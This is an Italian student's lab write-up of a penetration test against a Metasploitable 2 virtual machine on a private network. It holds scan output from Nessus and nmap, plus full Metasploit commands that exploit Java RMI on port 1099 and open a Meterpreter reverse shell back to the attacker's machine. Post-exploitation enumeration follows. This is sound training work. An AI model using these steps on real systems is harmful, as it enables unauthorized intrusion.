

Progetto week 7 Penetration Test con Metasploit

Fase di settaggio indirizzi ip e ping

Nella traccia dell'esercizio ci era richiesto di cambiare gli indirizzi ip delle macchine. Procedo come nelle figure a destra.

```
GNU nano 2.0.7      File: /etc/network/interfaces      Modified

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface

auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1
```

```
(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
    inet 192.168.11.111  netmask 255.255.255.0  broadcast 192.168.11.255
    inet6 fe80::a00:27ff:feb1:9d67  prefixlen 64  scopeid 0x20<link>
    ether 08:00:27:b1:9d:67  txqueuelen 1000  (Ethernet)
    RX packets 1  bytes 286 (286.0 B)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 88  bytes 6734 (6.5 KiB)
    TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
    inet 127.0.0.1  netmask 255.0.0.0
    inet6 ::1  prefixlen 128  scopeid 0x10<host>
    loop txqueuelen 1000  (Local Loopback)
    RX packets 202  bytes 16586 (16.1 KiB)
    RX errors 0  dropped 0  overruns 0  frame 0
```

Fase di Vulnerability Scanning

Dalla traccia dell'esercizio sappiamo che sulla porta 1099 è attiva Java RMI, una tecnologia che consente a diversi processi Java di comunicare tra loro attraverso una rete.

Con la finalità di raccogliere altre informazioni sulla vulnerabilità, ho avviato una scansione con *Nessus essential*, che non ha evidenziato la vulnerabilità cercata. Ho provato ad identificare l'id del plugin cui appartiene la vulnerabilità in questione. Anche in questo caso, non ho trovato nulla. E' opportuno tener presente che alcune vulnerabilità possono essere nascoste o non possono essere rilevate da scansioni esterne, a maggior ragione se si utilizza un software gratuito, con funzionalità limitate.

Di seguito posto comunque uno screen del report della scansione di Nessus:

Scansione su meta / 192.168.11.112

Configure

Audit Trail

Launch

Report

Export

Back to Hosts

Vulnerabilities

58

Filter

Search Vulnerabilities

58 Vulnerabilities

<input type="checkbox"/>	Sev	Score	Name	Family	Count	
<input type="checkbox"/>	CRITICAL	10.0 *	NFS Exported Share Information Disclosure	RPC	1	
<input type="checkbox"/>	CRITICAL	10.0	Unix Operating System Unsupported Version Detection	General	1	
<input type="checkbox"/>	CRITICAL	...	2 SSL (Multiple Issues)	Gain a shell remotely	3	
<input type="checkbox"/>	MIXED	...	2 SSL (Multiple Issues)	Service detection	3	
<input type="checkbox"/>	HIGH	7.5	NFS Shares World Readable	RPC	1	
<input type="checkbox"/>	HIGH	7.5	Samba Badlock Vulnerability	General	1	
<input type="checkbox"/>	MIXED	...	15 SSL (Multiple Issues)	General	27	
<input type="checkbox"/>	MIXED	...	5 ISC Bind (Multiple Issues)	DNS	5	

Host Details

IP:

192.168.11.112

MAC:

08:00:27:01:58:09

OS:

Linux Kernel 2.6 on Ubuntu 8.04 (hardy)

Start:

Today at 12:46 PM

End:

Today at 1:10 PM

Elapsed:

24 minutes

KB:

Download

Vulnerabilities

Critical

High

Medium

Low

Info

Pertanto, per la fase di scan, ho usato *nmap*: mi sono accertato prima che la vulnerabilità ci fosse e, successivamente, ho ottenuto diverse informazioni sulla stessa.
Dopo la scansione su nmap e qualche ricerca sul web, fornisco il report sulla vulnerabilità identificata:

```
(kali@kali)-[~]
$ nmap -sV 192.168.11.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-10 15:44 EST
Nmap scan report for 192.168.11.112
Host is up (0.0012s latency).
Not shown: 983 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; C
Service detection performed. Please report any incorrect results at https://
Nmap done: 1 IP address (1 host up) scanned in 24.74 seconds
```

```
(kali@kali)-[~]
$ nmap -sV -p 1099 --script=rmi-dumpregistry.nse 192.168.11.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-11 13:23 EST
Nmap scan report for 192.168.11.112
Host is up (0.012s latency).
PORT      STATE SERVICE      VERSION
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
Service detection performed. Please report any incorrect results
Nmap done: 1 IP address (1 host up) scanned in 19.32 seconds
```

- Il servizio Java RMI è un meccanismo di comunicazione remota che consente ai programmi Java di invocare metodi su oggetti remoti distribuiti su una rete. Il servizio è basato su una comunicazione client-server in cui il client invia una richiesta al server per l'esecuzione di un metodo su un oggetto remoto e il server restituisce i risultati al client.
- La porta predefinita per il servizio Java RMI è la 1099.
- Il servizio Java RMI può essere utilizzato per l'esecuzione di attacchi di tipo "Remote Code Execution" (RCE) se non configurato correttamente. Gli attaccanti possono sfruttare le vulnerabilità del servizio per inviare e eseguire codice dannoso sui sistemi vulnerabili
- Il pacchetto GNU Classpath grmiregistry è un'implementazione open source del registro RMI per Java. Questo pacchetto fornisce funzionalità di registrazione e gestione dei servizi RMI su un sistema.
- L'utilizzo di registri RMI può comportare rischi di sicurezza se non configurati correttamente. Ad esempio, l'accesso pubblico al registro RMI potrebbe consentire a terzi non autorizzati di accedere e controllare i servizi RMI su un sistema

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example `info 3`, `use 3` or `use exploit/multi/browser/java_rmi_connection_impl`

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Module options (exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Generic (Java Payload)

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit
```

```
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/n0hJxuVrDwa7EF
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:60013) at 2023-03-11 04:53:26 -0500
```

Fase di Exploit

Dopo aver avviato Metasploit con *msfconsole*, cerchiamo l'exploit piu adatto alla vulnerabilit  che vogliamo sfruttare e vediamo le opzioni che   necessario configurare con *show options*

Nel nostro caso,   sufficiente configurare il rhost e mandare l'exploit. L'attacco va correttamente a segno e apriamo una shell di meterpreter

```
meterpreter > cat /etc/issue
```

```
Metasploitable (C) 2005-2010 Metasploit Team  
Metasploitable (C) 2005-2010 Metasploit Team  
Metasploitable (C) 2005-2010 Metasploit Team  
Metasploitable (C) 2005-2010 Metasploit Team
```

```
Warning: Never expose this VM to an untrusted network!
```

```
Contact: msfdev[at]metasploit.com
```

```
Login with msfadmin/msfadmin to get started
```

Anzitutto leggo il file `/etc/issue` con `cat`

L'output indica che la distribuzione Linux in uso sulla macchina virtuale

Metasploitable è una versione personalizzata di Ubuntu, poiché contiene il logo di Metasploitable e la scritta "Ubuntu". In particolare, la versione di Ubuntu utilizzata è la 8.04.4.

Inoltre, nel messaggio finale è possibile vedere le credenziali di accesso: sia l'user che la pass sono "msfadmin".

Per avere ulteriore informazioni sulla macchina vittima:

- Con *ifconfig* delinea la configurazione di rete: la macchina vittima ha due interfacce di rete, la prima con l'indirizzo IP 127.0.0.1 e la seconda, eth0, con l'indirizzo IP 192.168.11.112.
- Con *sysinfo* ottengo informazioni sul nome, per l'appunto Metasploitable 2, sul sistema operativo che è Linux 2.6.24-16-server (i386) sull'architettura e sulla lingua utilizzata
- Con *route* ho avuto accesso alle impostazioni di routing, che hanno evidenziato due sottoreti: 127.0.0.1/255.0.0.0 con gateway 0.0.0.0 e 192.168.11.112/255.255.255.0 con gateway 0.0.0.0

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
```

```
Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe01:5809
IPv6 Netmask : ::
```

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > route

IPv4 network routes
=====
Subnet      Netmask      Gateway  Metric  Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes
=====
Subnet      Netmask      Gateway  Metric  Interface
-----
::1         ::           ::
fe80::a00:27ff:fe01:5809 ::           ::
```

Altri comandi

Posso spostarmi tra le directory della macchina vittima, tuttavia senza effettuare la privilege escalation sarà impossibile modificare e leggere file non criptati.

```
meterpreter > pwd
/
meterpreter > getuid
Server username: root
meterpreter > ls
Listing: /
```

Mode	Size	Type	Last modified	Name
100666/rw-rw-rw-	0	fil	2023-02-28 05:10:11 -0500	}
040666/rw-rw-rw-	4096	dir	2012-05-13 23:35:33 -0400	bin
040666/rw-rw-rw-	1024	dir	2012-05-13 23:36:28 -0400	boot
040666/rw-rw-rw-	4096	dir	2010-03-16 18:55:51 -0400	cdrom
040666/rw-rw-rw-	13540	dir	2023-03-10 10:04:59 -0500	dev
040666/rw-rw-rw-	4096	dir	2023-03-10 10:05:04 -0500	etc
040666/rw-rw-rw-	4096	dir	2010-04-16 02:16:02 -0400	home
040666/rw-rw-rw-	4096	dir	2010-03-16 18:57:40 -0400	initrd
100666/rw-rw-rw-	7929183	fil	2012-05-13 23:35:56 -0400	initrd.img
040666/rw-rw-rw-	4096	dir	2012-05-13 23:35:22 -0400	lib
040666/rw-rw-rw-	16384	dir	2010-03-16 18:55:15 -0400	lost+found
040666/rw-rw-rw-	4096	dir	2010-03-16 18:55:52 -0400	media
040666/rw-rw-rw-	4096	dir	2010-04-28 16:16:56 -0400	mnt
100666/rw-rw-rw-	15915	fil	2023-03-10 10:05:26 -0500	nohup.out
040666/rw-rw-rw-	4096	dir	2010-03-16 18:57:39 -0400	opt
040666/rw-rw-rw-	0	dir	2023-03-10 10:04:48 -0500	proc
040666/rw-rw-rw-	4096	dir	2023-03-10 10:05:25 -0500	root
040666/rw-rw-rw-	4096	dir	2012-05-13 21:54:53 -0400	sbin
040666/rw-rw-rw-	4096	dir	2010-03-16 18:57:38 -0400	srv
040666/rw-rw-rw-	0	dir	2023-03-10 10:04:49 -0500	sys
040666/rw-rw-rw-	4096	dir	2023-03-06 09:08:01 -0500	test_metasploit
040666/rw-rw-rw-	4096	dir	2023-03-10 18:34:51 -0500	tmp
040666/rw-rw-rw-	4096	dir	2010-04-28 00:06:37 -0400	usr
040666/rw-rw-rw-	4096	dir	2010-03-17 10:08:23 -0400	var
100666/rw-rw-rw-	1987288	fil	2008-04-10 12:55:41 -0400	vmlinuz

Inoltre, con run checkvm posso chiedere a meterpreter di dirmi se la macchina vittima è una macchina fisica o virtuale

```
meterpreter > run post/windows/gather/checkvm VIRTUALBOX_VERSION=7.0

[!] SESSION may not be compatible with this module:
[!] * incompatible session platform: linux
[!] * missing Meterpreter features: stdapi_fs_chmod, stdapi_registry
y, stdapi_registry_open_key, stdapi_registry_query_value_direct, stda
locate, stdapi_sys_process_memory_protect, stdapi_sys_process_memory_
[*] Checking if the target is a Virtual Machine ...
[*] The target appears to be a Physical Machine
```

Ho provato, infine, a lanciare comandi come *screenshot* e *webcam_list* ma, nel primo caso, la sessione di meterpreter si chiudeva; nel secondo caso mi rispondeva che il comando era valido solo per macchine vittime windows.

Per ultimo, confesso che volevo provare ad effettuare la **privilege escalation**, ma le registrazioni dal sito di epicode non sono state disponibili e ho avuto difficoltà a farlo da solo. Cercherò di recuperare quando sarà possibile.